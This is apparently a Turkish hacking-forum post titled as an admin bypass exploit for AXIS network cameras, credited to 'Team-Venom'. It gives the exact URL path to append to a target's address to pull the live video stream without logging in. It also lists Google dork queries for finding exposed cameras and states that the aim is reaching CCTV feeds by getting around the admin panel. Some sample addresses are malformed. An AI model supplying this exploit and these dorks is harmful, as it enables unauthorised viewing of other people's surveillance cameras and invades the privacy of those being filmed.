AXIS Camera View {CCTV} Admin Bypass Exploit

[CHARGE=4]$ Exploit Adı: Admin Panel Bypass
$ Exploit Çıkış Tarihi: 11.02.2021
$ Exploit Sahibi: Team-Venom
$ Risk Düzeyi: Orta
$ Yerel - Uzak Ağ: Uzak
$ Exploit Linki
$ Zafiyetli Sürümler: 4.11 - 4.03 - 4.05

---Kullanımı---
Hedef siteye girdikten sonra örn: 1.1.1.1
1.1..1.1 hedefimize "/mjpg/video.mjpg?camera=1&timestamp=1562376536164" url'sini ekliyoruz örneğin;

http://1.1.1..1/mjpg/video.mjpg?camera=1&timestamp=1562376536164

http://1.1.1..1:9000/mjpg/video.mjpg?timestamp=1442003368825


Dork:

intitle:"Live View AXIS"
intitle:"Live View / - AXIS"
intitle:"Live View / - AXIS" | inurl:/mjpg/video.mjpg?timestamp

Exploit Ne İşe Yarıyor?

Admin Panelini Bypass Ederek cctv'lere erişme imkanı tanıyor.[/CHARGE]

 

-=Stripped Content=-

.

 

.